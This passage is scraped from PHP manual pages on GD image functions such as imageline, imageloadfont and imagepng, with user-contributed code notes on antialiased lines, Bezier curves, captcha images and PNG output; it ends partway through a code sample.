$textcolor = imagecolorallocate($img_disp,255,0,0);
$x1 = 0;
$y1 = 0;
$x2 = 0;
$y2 = 1000;
for(;;){
$y1 = $y1 + 20;
$x2 = $x2 + 20;
imageline($img_disp,$x1,$y1,$x2,$y2,$textcolor);
if ($y1 == 1000){
break;
}
}
header("Content-type: image/png");
imagepng($img_disp); // Draw the image
imagedestroy($img_disp); // Delete the image from the server's memory
?>
mueller at inf dot ufsc dot br 05-Jan-2004 09:26
an algorithm to draw a bezier spline

<?php

$segmentos =30;
$x=array(0,10,80,30);
$y=array(0,10,40,50);

function bezier($p,$steps){
    $t = 1 / $steps;
    $temp = $t * $t;
    $ret = array();
    $f = $p[0];
    $fd = 3 * ($p[1] - $p[0]) * $t;
    $fdd_per_2=3*($p[0]-2*$p[1]+$p[2])*$temp;
    $fddd_per_2=3*(3*($p[1]-$p[2])+$p[3]-$p[0])*$temp*$t;
    $fddd = $fddd_per_2 + $fddd_per_2;
    $fdd = $fdd_per_2 + $fdd_per_2;
    $fddd_per_6 = $fddd_per_2 * (1.0 / 3);
    for ($loop=0; $loop<$steps; $loop++) {
        array_push($ret,$f);
        $f = $f + $fd + $fdd_per_2 + $fddd_per_6;
        $fd = $fd + $fdd + $fddd_per_2;
        $fdd = $fdd + $fddd;
        $fdd_per_2 = $fdd_per_2 + $fddd_per_2;
    }
    return $ret;
}

$by = bezier($y,$segmentos);
$bx = bezier($x,$segmentos);
header ("Content-type: image/jpeg");
$tam = 200;
$im = imagecreate($tam,$tam);
$background_color = imagecolorallocate ($im, 200, 200, 200);
$tc = imagecolorallocate ($im, 233, 14, 91);
for($i=0;$i<$segmentos-1;$i++)
    imageline($im,$bx[$i],$tam-$by[$i],$bx[$i+1],$tam-$by[$i+1],$tc);
imagejpeg($im);
imagedestroy($im);
?>
code_couturier at graffiti dot net 18-Oct-2003 08:56
# antialiased draw_line function 1.1 (faster)

# here is a drawLine() posted by nanobot at chipx86 dot com
# on php.net and enhanced/optimized by myself :)

# here are some changes i made:
# 1. changed for true-color images (no index_var used)
# 2. changed rgb extraction to logical shift
# 3. reducing function call's

function drawQSLine ($image,$x1,$y1,$x2,$y2,$r,$g,$b) {
$icr=$r;
$icg=$g;
$icb=$b;
 $dcol = ImageColorAllocate ($image,$icr,$icg,$icb);
 if ($y1 == $y2) imageline ($image,$x1,$y1,$x2,$y1,$dcol);
 else if ($x1 == $x2) {
   imageline ($image,$x1,$y1,$x1,$y2,$dcol);
 } else {
 $m = ($y2 - $y1) / ($x2 - $x1);
 $b = $y1 - $m * $x1;

 if (abs ($m) <2) {

 $x = min ($x1,$x2);
 $endx = max ($x1,$x2)+1;

 while ($x < $endx) {
 $y=$m * $x + $b;
 $y == floor ($y) ? $ya = 1 : $ya = $y - floor ($y);
 $yb = ceil ($y) - $y;

 $trgb = ImageColorAt($image,$x,floor($y));
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,$x,floor ($y),imagecolorallocate ($image,($tcr * $ya + $icr * $yb),
($tcg * $ya + $icg * $yb),
($tcb * $ya + $icb * $yb)));

 $trgb = ImageColorAt($image,$x,ceil($y));
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,$x,ceil ($y),imagecolorallocate ($image,($tcr * $yb + $icr * $ya),
($tcg * $yb + $icg * $ya),
($tcb * $yb + $icb * $ya)));

 $x ++;
 } # while_x_end
 } # if_end
 else { # else_abs_end

 $y = min ($y1,$y2);
 $endy = max ($y1,$y2)+1;

 while ($y < $endy) {
 $x=($y - $b) / $m;
 $x == floor ($x) ? $xa = 1 : $xa = $x - floor ($x);
 $xb = ceil ($x) - $x;

 $trgb = ImageColorAt($image,floor($x),$y);
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,floor ($x),$y,imagecolorallocate ($image,($tcr * $xa + $icr * $xb),
($tcg * $xa + $icg * $xb),
($tcb * $xa + $icb * $xb)));

 $trgb = ImageColorAt($image,ceil($x),$y);
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,ceil ($x),$y,imagecolorallocate ($image, ($tcr * $xb + $icr * $xa),
($tcg * $xb + $icg * $xa),
($tcb * $xb + $icb * $xa)));

 $y ++;
 }# while_y_end
 }# else_abs_end
 }# else_y=y_x=x_end
}# drawOSLine_end
code_couturier at graffiti dot net 02-Oct-2003 06:33
# antialiased lines with true-type-fonts !?
# yip, it works - not very good - but faster
# (below 3 sec) than other routines (~7 sec)
# i saw here.

# the antialiased effect is minimal and only
# at the top of the line - but, as better as
# nothing ;)

# here is a drawLine routine from Logan Gunthorpe
# (logang at deltatee dot com) posted by nanobot at chipx86 dot com
# on php.net and enhanced/optimized by myself :)

function drawSoftLine ($image, $x1, $y1, $x2, $y2, $r,$g,$b) {

$fontfile="arial.ttf"; # the font for the dot
$str="�" ; # the point_char for the dot
$size=12; # the point for the dot_size

 $color = ImageColorAllocate ($image, $r,$g,$b);

 if ($x2 == $x1) {
 $tmp = $x1; $x1 = $y1; $y1 = $tmp;
 $tmp = $x2; $x2 = $y2; $y2 = $tmp;
 $swapx = true;
 }

 $m = (float)(( $y2 - $y1 ) / ( $x2 - $x1 ));
 $b = (float)($y1 - $m*$x1);

 $strx = min ( $x1 , $x2 );
 $endx = max ( $x1 , $x2 );
 $x=(int)0;

# the original loop was based on one for_loop
# with the if_swap inside. to speed up this loop
# i double it, to keep off the permanent if_call's.

if (!$swapx) {
 for ($x = $strx; $x <= $endx; $x++) {
   $y = (int)($m*$x + $b);
   imagettftext($image, $size, 0, $x, $y,
   $color, $fontfile,$str);
 }
} else {
 for ($x = $strx; $x <= $endx; $x++) {
   $y = (int)($m*$x + $b);
   imagettftext($image, $size, 0, $y, $x,
   $color, $fontfile,$str);
  }
}

}
nanobot at chipx86 dot com 17-Jun-2003 02:28
Here is a function for making antialiased lines:

 function imagesmoothline ( $image , $x1 , $y1 , $x2 , $y2 , $color )
 {
  $colors = imagecolorsforindex ( $image , $color );
  if ( $x1 == $x2 )
  {
   imageline ( $image , $x1 , $y1 , $x2 , $y2 , $color ); // Vertical line
  }
  else
  {
   $m = ( $y2 - $y1 ) / ( $x2 - $x1 );
   $b = $y1 - $m * $x1;
   if ( abs ( $m ) <= 1 )
   {
    $x = min ( $x1 , $x2 );
    $endx = max ( $x1 , $x2 );
    while ( $x <= $endx )
    {
     $y = $m * $x + $b;
     $y == floor ( $y ) ? $ya = 1 : $ya = $y - floor ( $y );
     $yb = ceil ( $y ) - $y;
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , $x , floor ( $y ) ) );
     $tempcolors['red'] = $tempcolors['red'] * $ya + $colors['red'] * $yb;
     $tempcolors['green'] = $tempcolors['green'] * $ya + $colors['green'] * $yb;
     $tempcolors['blue'] = $tempcolors['blue'] * $ya + $colors['blue'] * $yb;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , $x , floor ( $y ) , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , $x , ceil ( $y ) ) );
     $tempcolors['red'] = $tempcolors['red'] * $yb + $colors['red'] * $ya;
      $tempcolors['green'] = $tempcolors['green'] * $yb + $colors['green'] * $ya;
     $tempcolors['blue'] = $tempcolors['blue'] * $yb + $colors['blue'] * $ya;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , $x , ceil ( $y ) , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $x ++;
    }
   }
   else
   {
    $y = min ( $y1 , $y2 );
    $endy = max ( $y1 , $y2 );
    while ( $y <= $endy )
    {
     $x = ( $y - $b ) / $m;
     $x == floor ( $x ) ? $xa = 1 : $xa = $x - floor ( $x );
     $xb = ceil ( $x ) - $x;
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , floor ( $x ) , $y ) );
     $tempcolors['red'] = $tempcolors['red'] * $xa + $colors['red'] * $xb;
     $tempcolors['green'] = $tempcolors['green'] * $xa + $colors['green'] * $xb;
     $tempcolors['blue'] = $tempcolors['blue'] * $xa + $colors['blue'] * $xb;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , floor ( $x ) , $y , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , ceil ( $x ) , $y ) );
     $tempcolors['red'] = $tempcolors['red'] * $xb + $colors['red'] * $xa;
     $tempcolors['green'] = $tempcolors['green'] * $xb + $colors['green'] * $xa;
     $tempcolors['blue'] = $tempcolors['blue'] * $xb + $colors['blue'] * $xa;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , ceil ( $x ) , $y , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $y ++;
    }
   }
  }
 }

EDITOR: My previous code contained bugs. Please use this one instead.
kramesch_NOSPAM_ at _nospam_idsolutions dot at 26-Feb-2002 10:44
Here is a simple code to draw a line with an arbitrary stroke. The parameter aStroke is treated as a cyclic boolean array where true equals "set a point"
e.g. $aDotStroke = array(true,false);

function ImageStrokeLine($im,$x1,$y1,$x2,$y2,$farbe, $aStroke)
  {
    $deltax = abs($x2 - $x1);
    $deltay = abs($y2 - $y1);
    $x = $x1;
    $y = $y1;

    if ($x2 >= $x1)
    {
      $xinc1 = 1;
      $xinc2 = 1;
    }
    else
    {
      $xinc1 = -1;
      $xinc2 = -1;
    }

    if ($y2 >= $y1)
    {
      $yinc1 = 1;
      $yinc2 = 1;
    }
    else
    {
      $yinc1 = -1;
      $yinc2 = -1;
    }

    if ($deltax >= $deltay)
    {
      $xinc1 = 0;
      $yinc2 = 0;
      $den = $deltax;
      $num = $deltax / 2;
      $numadd = $deltay;
      $numpixels = $deltax;
    }
    else
    {
      $xinc2 = 0;
      $yinc1 = 0;
      $den = $deltay;
      $num = $deltay / 2;
      $numadd = $deltax;
      $numpixels = $deltay;
    }

    for ($curpixel = 0; $curpixel <= $numpixels; $curpixel++)
    {
      if ($iStrokeCount >= count($aStroke))
      {
        $iStrokeCount = 0;
      }

      if ($aStroke[$iStrokeCount++])
      {
        ImageSetPixel($im,$x, $y,$farbe);
      }
      $num += $numadd;
      if ($num >= $den)
      {
        $num -= $den;
        $x += $xinc1;
        $y += $yinc1;
      }
      $x += $xinc2;
      $y += $yinc2;
    }
  }
darren at php4hosting dot com 28-Oct-2000 07:48
It does work (With a bit of editing)
save the following as graph.php (You dont need any directorys)

<?php
Header("Content-type: image/png");
$picWidth=360*2;
$picHeight=200;
$pic=ImageCreate($picWidth+1,$picHeight+1);
$cWhite=ImageColorAllocate($pic,255,255,255);
ImageFilledRectangle($pic,0,0,$picWidth+1,$picHeight+1,$cWhite);
$cRed=ImageColorAllocate($pic,255,0,0);
$cBlue=ImageColorAllocate($pic,0,0,255);
$curX=0;
$curY=$picHeight;
for($pt=0;$pt<$picWidth;$pt++){
$newX=$curX+1;
$newY=($picHeight/2)+(cos(deg2rad($newX))*($picHeight/2));
ImageLine($pic,$curX,$curY,$newX,$newY,$cRed);
$curX=$newX;
$curY=$newY;
}
$curX=0;
$curY=$picHeight/2;
for($pt=0;$pt<$picWidth;$pt++){
$newX=$curX+1;
$newY=($picHeight/2)+(sin(deg2rad($newX))*($picHeight/2));
ImageLine($pic,$curX,$curY,$newX,$newY,$cBlue);
$curX=$newX;
$curY=$newY;
}
$cBlack=ImageColorAllocate($pic,0,0,0);
ImageLine($pic,0,0,0,$picHeight,$cBlack);
ImageLine($pic,0,$picHeight/2,$picWidth,$picHeight/2,$cBlack);
ImagePNG($pic);
ImageDestroy($pic);
?>


Load a new font

  • « imageline
  • imagepalettecopy »
  • PHP Manual
  • GD and Image Functions
  • Load a new font

imageloadfont

(PHP 4, PHP 5)

imageloadfont — Load a new font

Description

int imageloadfont ( string $file )

imageloadfont() loads a user-defined bitmap and returns its identifier.

Parameters

file

The font file format is currently binary and architecture dependent. This means you should generate the font files on the same type of CPU as the machine you are running PHP on.

Font file format
byte position | C data type | description
byte 0-3 | int | number of characters in the font
byte 4-7 | int | value of first character in the font (often 32 for space)
byte 8-11 | int | pixel width of each character
byte 12-15 | int | pixel height of each character
byte 16- | char | array with character data, one byte per pixel in each character, for a total of (nchars*width*height) bytes.

Return Values

The font identifier which is always bigger than 5 to avoid conflicts with built-in fonts or FALSE on errors.

Examples

Example #1 imageloadfont() usage example

<?php
// Create a new image instance
$im = imagecreatetruecolor(50, 20);
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);

// Make the background white
imagefilledrectangle($im, 0, 0, 49, 19, $white);

// Load the gd font and write 'Hello'
$font = imageloadfont('./04b.gdf');
imagestring($im, $font, 0, 0, 'Hello', $black);

// Output to browser
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
?>

See Also

  • imagefontwidth() - Get font width
  • imagefontheight() - Get font height

User Contributed Notes

siker at norwinter dot com 29-Aug-2005 03:37
Working under the assumption that the only 'architecture dependant' part of the font files is endianness, I wrote a quick and dirty Python script to convert between the two. It has only been tested on a single font on a single machine so don't bet your life on it working. All it does is swap the byte order of the first four ints.

#!/usr/bin/env python

f = open("myfont.gdf", "rb");
d = open("myconvertedfont.gdf", "wb");

for i in xrange(4):
        b = [f.read(1) for j in xrange(4)];
        b.reverse();
        d.write(''.join(b));

d.write(f.read());

I successfully used this script to convert anonymous.gdf, from one of the font links below, into something useable on Mac OS X.
matthew at exanimo dot com 15-Aug-2005 07:28
Remember - GD fonts aren't antialiased.  If you're planning on using a pre-existing (TrueType) font, you may want to consider using imagettftext() instead of phillip's function.
alex at bestgames dot ro 02-Jul-2005 02:01
Confirmation code generation for preventing automated registrations on a website.

Function arguments are:
$code - the code that you shall random generate
$location - relative location of the image that shall be generated
$fonts_dir - relative location for the GDF fonts directory

This function will create an image with the code given by you and will save it in the directory specified with the name formed by MD5 hash of the code.

You may insert as many font types in the fonts directory as you wish, with random names.

<?php
function generate_image($code, $location, $fonts_dir)
{
     $image  = imagecreate(150, 60);
     imagecolorallocate($image, rand(0, 100), rand(100, 150), rand(150, 250));
     $fonts = scandir($fonts_dir);

     $max = count($fonts) - 2;

     $width = 10;
     for ($i = 0; $i <= strlen($code); $i++)
     {
         $textcolor = imagecolorallocate($image, 255, 255, 255);
         $rand = rand(2, $max);
         $font = imageloadfont($fonts_dir."/".$fonts[$rand]);

         $fh = imagefontheight($font);
         $fw = imagefontwidth($font);

         imagechar($image, $font, $width, rand(10, 50 - $fh), $code[$i], $textcolor);
          $width = $width + $fw;

     }

     imagejpeg($image, $location."/".md5($code).".jpg", 100);
     imagedestroy($image);

     return $code;

}

?>
puremango dot co dot uk at gmail dot com 22-Apr-2005 02:54
I've written an online tool in PHP that allows you to create GD fonts from PNG images.

much usefulness for custom font creation, I feel.

see the tool@
http://puremango.co.uk/cm_fontmaker_114.php
(source available online)
null at phpmix dot com 22-Dec-2004 06:59
Sometime ago I wrote a small tutorial on how to create dynamic signatures using gd_fonts. I also uploaded some gd_fonts...

You can check it out here, if you wish:
http://www.phpmix.com/phpBB2/viewtopic.php?t=328

Hope that helps
widget at oneblacksheep dot com 05-Jun-2004 02:41
After noting the gd fonts page from dryes58 above was down I contacted the him and have put the pages up at http://www.widgnet.com/gdf_fonts/ hows about that then =)
angryziber at mail dot com 23-Aug-2000 04:23
You all should look at the GD image library site for information on extra fonts, it can be found at http://www.boutell.com/gd/


Copy the palette from one image to another

  • « imageloadfont
  • imagepalettetotruecolor »
  • PHP Manual
  • GD and Image Functions
  • Copy the palette from one image to another

imagepalettecopy

(PHP 4 >= 4.0.1, PHP 5)

imagepalettecopy — Copy the palette from one image to another

Description

void imagepalettecopy ( resource $destination , resource $source )

imagepalettecopy() copies the palette from the source image to the destination image.

Parameters

destination

The destination image resource.

source

The source image resource.

Return Values

No value is returned.

Examples

Example #1 imagepalettecopy() example

<?php
// Create two palette images
$palette1 = imagecreate(100, 100);
$palette2 = imagecreate(100, 100);

// Allocate the background to be
// green in the first palette image
$green = imagecolorallocate($palette1, 0, 255, 0);

// Copy the palette from image 1 to image 2
imagepalettecopy($palette2, $palette1);

// Since the palette is now copied we can use the
// green color allocated to image 1 without using
// imagecolorallocate() twice
imagefilledrectangle($palette2, 0, 0, 99, 99, $green);

// Output image to the browser
header('Content-type: image/png');

imagepng($palette2);
imagedestroy($palette1);
imagedestroy($palette2);
?>

User Contributed Notes

buzz at nospam dot oska dot com 21-Oct-2005 01:51
actually it doesn't "copy" the palette exactly.  It copys the colors from the source palette to the destination image.   the palette you end up with in the destination image will be "same colors different order".   If you want an EXACT palette copy (at the expense of messing up your image if you aren't careful), then use this code:
<?
// this is a drop-in replacement for imagepalettecopy, except that it make NO attempt to modifiy any of the
// colors in the dest image, just the palette.   The result?  if you're palette's aren't very similar, the image will look completely different, and likely terrible!
function imagepalettecopy_exact ( $dst_img, $src_img) {
    for( $c = 0 ; $c < imagecolorstotal($src_img); $c++) {
        $col = imagecolorsforindex($src_img,$c);  //get color at index 'c' in the color table
        imagecolorset($dst_img,$c,$col[red],$col[green],$col[blue]); //set color at index 'c' to $col in the $dst_image
    }
}

?>
Los Olvidados 10-Jan-2003 01:55
To be precise, this function replaces the palette in the destination.


Converts a palette based image to true color

  • « imagepalettecopy
  • imagepng »
  • PHP Manual
  • GD and Image Functions
  • Converts a palette based image to true color

imagepalettetotruecolor

(PHP 5 >= 5.5.0)

imagepalettetotruecolor — Converts a palette based image to true color

Description

bool imagepalettetotruecolor ( resource $src )

Converts a palette based image, created by functions like imagecreate() to a true color image, like imagecreatetruecolor().

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

Return Values

Returns TRUE if the convertion was complete, or if the source image already is a true color image, otherwise FALSE is returned.

Examples

Example #1 Converts any image resource to true color

<?php
// Backwards compatiblity
if(!function_exists('imagepalettetotruecolor'))
{
    function imagepalettetotruecolor(&$src)
    {
        if(imageistruecolor($src))
        {
            return(true);
        }

        $dst = imagecreatetruecolor(imagesx($src), imagesy($src));

        imagecopy($dst, $src, 0, 0, 0, 0, imagesx($src), imagesy($src));
        imagedestroy($src);

        $src = $dst;

        return(true);
    }
}

// Helper closure
$typeof = function() use($im)
{
    echo 'typeof($im) = ' . (imageistruecolor($im) ? 'true color' : 'palette'), PHP_EOL;
};

// Create a palette based image
$im = imagecreate(100, 100);
$typeof();

// Convert it to true color
imagepalettetotruecolor($im);
$typeof();

// Free the memory
imagedestroy($im);
?>

The above example will output:

typeof($im) = palette
typeof($im) = true color

See Also

  • imagecreatetruecolor() - Create a new true color image
  • imageistruecolor() - Finds whether an image is a truecolor image

User Contributed Notes

Polda18 30-Apr-2014 11:44
PHP ver 5.4.24 does not support this function (it has not been defined). To get rid of this, you must copy image resource to new image created by function imagecreatetruecolor();

Example with image loaded from GIF file:

$image  = imagecreatefromgif("path/to/gif/file.gif");  //create an image from GIF
$width  = imagesx($image);                             //get width of source image
$height = imagesy($image);                             //get height of source image
$image2 = imagecreatetruecolor($width,$height);        //create new image of true colors with given width and height
imagecopy($image2,$image,0,0,0,0,$width,$height);      //copy source image to new one

header("Content-Type: image/jpeg");                    //set header for JPG image
imagejpg($image2);                                     //render JPg image into browser

imagedestroy($image);                                  //free up memory
imagedestroy($image2);
walf 21-Mar-2014 03:20
The backwards compatibility example does not preserve transparency. You must first wipe out the default black background on the new image:

<?php
// Backwards compatiblity
if (!function_exists('imagepalettetotruecolor')) {
    function imagepalettetotruecolor(&$src) {
        if (imageistruecolor($src)) {
            return true;
        }

        $dst = imagecreatetruecolor(imagesx($src), imagesy($src));

        imagealphablending($dst, false);//prevent blending with default black
        $transparent = imagecolorallocatealpha($new_image, 255, 255, 255, 127);//change the RGB values if you need, but leave alpha at 127
        imagefilledrectangle($dst, 0, 0, $imagesx($src), imagesy($src), $transparent);//simpler than flood fill
        imagealphablending($dst, true);//restore default blending

        imagecopy($dst, $src, 0, 0, 0, 0, imagesx($src), imagesy($src));
        imagedestroy($src);

        $src = $dst;
        return true;
    }
}
?>


Output a PNG image to either the browser or a file

  • « imagepalettetotruecolor
  • imagepolygon »
  • PHP Manual
  • GD and Image Functions
  • Output a PNG image to either the browser or a file

imagepng

(PHP 4, PHP 5)

imagepng — Output a PNG image to either the browser or a file

Description

bool imagepng ( resource $image [, string $filename [, int $quality [, int $filters ]]] )

Outputs or saves a PNG image from the given image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

filename

The path to save the file to. If not set or NULL, the raw image stream will be outputted directly.

Note:

NULL is invalid if the quality and filters arguments are not used.

quality

Compression level: from 0 (no compression) to 9.

filters

Allows reducing the PNG file size. It is a bitmask field which may be set to any combination of the PNG_FILTER_XXX constants. PNG_NO_FILTER or PNG_ALL_FILTERS may also be used to respectively disable or activate all filters.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.1.3 | Added the filters parameter.
5.1.2 | Added the quality parameter.

Examples

<?php
$im = imagecreatefrompng("test.png");

header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

See Also

  • imagegif() - Output image to browser or file
  • imagewbmp() - Output image to browser or file
  • imagejpeg() - Output image to browser or file
  • imagetypes() - Return the image types supported by this PHP build
  • imagesavealpha() - Set the flag to save full alpha channel information (as opposed to single-color transparency) when saving PNG images

User Contributed Notes

php dot net at phor dot net 23-Oct-2013 10:46
If you are outputting a PNG directly in response to a client request it is important to check your web server configuration.

Some clients may request your images with a <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html">accept header</a> of image/*. Default configurations of Apache and possibly other servers will by default NOT allow your script to run in response to this request.

Apache is specifically discussed at http://stackoverflow.com/q/19169337 but other server have been documented to have issue too.

In other words, when testing your application don't just use the web browser, consider a phone's browser and networking libraries which could send different headers.
geompse at gmail dot com 23-Mar-2012 08:41
Be careful when using a variable for the file name.
PHP behavior with $filename differs when switching to PHP5.4 : PHP5.3 will use $filename='' the same way as $filename=NULL (e.g. no warning)
<?php
$im = imagecreatetruecolor(10,10);
imagepng($im,'',9); # Warning: imagepng(): Filename cannot be empty
imagepng($im,NULL,9); # works as expected
imagedestroy($im);
?>
matteosistisette at gmail dot com 09-Oct-2011 09:02
The name "quality" for the compression parameter is quite misleading, as png compression is always lossless. The trade off is between speed and filesize, it cannot affect quality.

Here's something I found at stackoverflow; I haven't checked it, but if it is correct it should definitely included in the documentation:

---
from php source (gd.h):

/* 2.0.12: Compression level: 0-9 or -1, where 0 is NO COMPRESSION at all,
* 1 is FASTEST but produces larger files, 9 provides the best
* compression (smallest files) but takes a long time to compress, and
* -1 selects the default compiled into the zlib library.
*/
Conclusion: Based on the Zlib manual (http://www.zlib.net/manual.html) the default compression level is set to 6.
---

Regarding suggestions to rescale the 0-99 quality range of jpeg into the 0-9 range of png, note that for jpeg 99 is minimum compression (maximum quality) while for png 9 is maximum compression (quality doesn't change).
Zane, MegaLab.it 15-Jul-2011 08:38
My script was unable to complete: Fatal error: Allowed memory size of XX bytes exhausted (tried to allocate XX+n bytes).

I found out that PHP handles images in uncompressed format: my input image was 8768x4282@32 bit => ~150 MB per single in-memory copy.

As a solution, you can either check the dimensions and reject anything too big or, as I did, use ini_set('memory_limit','1024M'); on the page start (if your server has enough on board memory).
boukeversteegh at gmail dot com 03-May-2011 11:41
If you care about speed, you probably already cache your generated images to a file. In that case, DON'T use "createimagefrompng" and "imagepng" to output the image. Use fpassthru instead. It is literally hundreds of times faster.

<?php
  header("Content-Type: image/png");

  # Generate cachefile for image, if it doesn't exist
  if( !file_exists($cachefile) ) {
    $im = generateimage();     # some code generates an image resource
    imagepng($im, $cachefile); # store the image to cachefile

    # don't output it like this:
    /* imagepng($im);*/

    imagedestroy($im);
  }

  $fp = fopen($cachefile, 'rb'); # stream the image directly from the cachefile
  fpassthru($fp);
  exit;
?>

I've tested it with a 5120x5120 (1.2Mb) image, that was cached on the harddisk. Using imagepng, the transfer took 12 seconds. Using fpassthru, it took only 32ms!
codam 15-Mar-2011 07:03
Creating a transparent image filled with tranparent color only

I had some hard times putting up this one:

<?php
// Set the image
$img = imagecreatetruecolor(100,100);
imagesavealpha($img, true);

// Fill the image with transparent color
$color = imagecolorallocatealpha($img,0x00,0x00,0x00,127);
imagefill($img, 0, 0, $color);

// Save the image to file.png
imagepng($img, "file.png");

// Destroy image
imagedestroy($img);
?>
mhorne69 at gmail dot com 25-Oct-2010 04:02
If you're generating an image dynamically based on post data and don't want to save it to the server, sending it to be displayed can cause problems as when the person tries to save it, the browser will request it again from the server (causing any post data to be lost and probably a corrupted png).

The easiest way to get around this is to force it to download using the content disposition header, for example:

<?php
header('Content-Disposition: Attachment;filename=image.png');
header('Content-type: image/png');
?>
anonymous 01-Sep-2010 09:51
If you need to call imagepng() multiple times (for example, when you want to send it to the browser, but also to a disk cache), write your image to a file first, THEN call readfile() on it.

PHP internally works with a temporary file when sending the image to the browser, so you'll gain nothing by calling imagepng() twice.
wietse89 at gmail dot com 29-Mar-2010 03:55
When you allow multiple output formats, (jpg/png) but want to use the 1-100 quality scale (like jpg), you will have to format the number:

<?php
$pngQuality = ($quality - 100) / 11.111111;
$pngQuality = round(abs($pngQuality));
imagepng($resource, $path, $pngQuality);
?>
r.lomas at infonie.fr 19-Feb-2010 04:53
I just lost about 4 hours on a really stupid problem. My images on the local server were somehow broken and therefore did not display in the browsers. After much looking around and testing, including re-installing apache on my computer a couple of times, I traced the problem to an included file.
No the problem was not a whitespace, but the UTF BOM encoding character at the begining of one of my inluded files...
So beware of your included files!
Make sure they are not encoded in UTF or otherwise in UTF without BOM.
Hope it save someone's time.
thalis kalfigopoulos 08-May-2009 01:17
I ran across the following WRT sessions and image creation.

In main.php:
<?php
  (...session in progress...)
  $_SESSION['text']='some text...';
  $imgSrc='http://foo.com/createImage.php?sid='.session_id();
  echo('<img src="'.$imgSrc.'"/>');
  unset($_SESSION['text']);
...
?>

In createImage.php:
<?php
  header('image/png');
  session_id($_REQUEST['sid']);
  session_start();
  $img=imagecreatetruecolor(200, 30);
  $text_color=imagecolorallocate($img, 200, 200, 200);
  imagestring($img, 5, 5, 5,  $_SESSION['text'], $text_color);
  imagepng($img);
  imagedestroy($img);
?>

Problem: main.php execution ends before createImage.php writing the text to image, thus the unset($_SESSION['text']) destroys the text and you end up with empty image.
Solution: move call to unset() as last statement of createImage.php
matt at mattbostock dot com 16-Mar-2009 09:11
To change the background of a 24-bit PNG for graceful degradation in IE6, the PNG file needs a bKGD chunk:

<?php
    // insert a BKGD chunk into the PNG file for graceful image degradation in IE6
    $bgColor = array(250, 250, 250);
    $pngData = bin2hex(file_get_contents($filename));

    $idatMarker = '200049444154';
    $bkgdMarker = '624b4744';

    $bkgdChunk = '0006' . $bkgdMarker;
    foreach ($bgColor as $bit)
    {
        $bkgdChunkData .= '00' . dechex($bit);
    }
    $bkgdChunk .= $bkgdChunkData;
    $bkgdChunk .= dechex(crc32(pack('H*', $bkgdMarker . $bkgdChunkData))) . '0000';

    $parsed = explode($idatMarker, $pngData, 2); // split file by first 'IDAT' chunk
    $pngData = pack('H*', $parsed[0] . $bkgdChunk . $idatMarker . $parsed[1]);
    file_put_contents($cachedFilename, $pngData);
?>
eetu11 at suomi24 dot fi 01-Nov-2008 04:20
<?php

    // aid of the highlighted Alliance
    $marked_aid = 2403;

    // Preferences
    $mysqlhost = 'localhost';
    $mysqluser = 'user';
    $mysqlpass = 'password';
    $mysqldb = 'database';

    // Create database connection and select database
    $db = @mysql_connect($mysqlhost, $mysqluser, $mysqlpass) OR die('Can not connect to DB-Server!');
    $db_select = @mysql_select_db($mysqldb) OR die('Can not select DB!');

    // Create image: Map goes from -400 to 400
    // -> sums up tp 2*400+1 (+1 due to the 0 in the center)
    $image = imagecreate(801, 801);

    // Choose the colors of background, normal village and highlighted alliance
    $color_background = imagecolorallocate($image, 255, 255, 255);
    $color_normal = imagecolorallocate($image, 200, 200, 200);
    $color_marked = imagecolorallocate($image, 255, 0, 0);

    // Fill images background with chosen color
    imagefill($image, 0, 0, $color_background);

    // Select ALL villages from the DB and order by ascending ID
    // (Fields are numbered from top left to bottom right)
    $query = 'SELECT x, y, aid FROM x_world ORDER BY id ASC';
    $result = @mysql_query($query) OR die('Can not select villages from table x_world!');

    // Check whether there any villages at all
    if (mysql_num_rows($result)) {

        // Select first village
        $row = @mysql_fetch_assoc($result);

        // These variables save the location on which we are currently drawing
        $x_pointer = 0;
        $y_pointer = 0;

        // Outer loop for the Y-coordinates
        for($y=400; $y >= -400; $y--) {

            // Inner loop for the X-coordinates
            for ($x=-400; $x <= 400; $x++) {

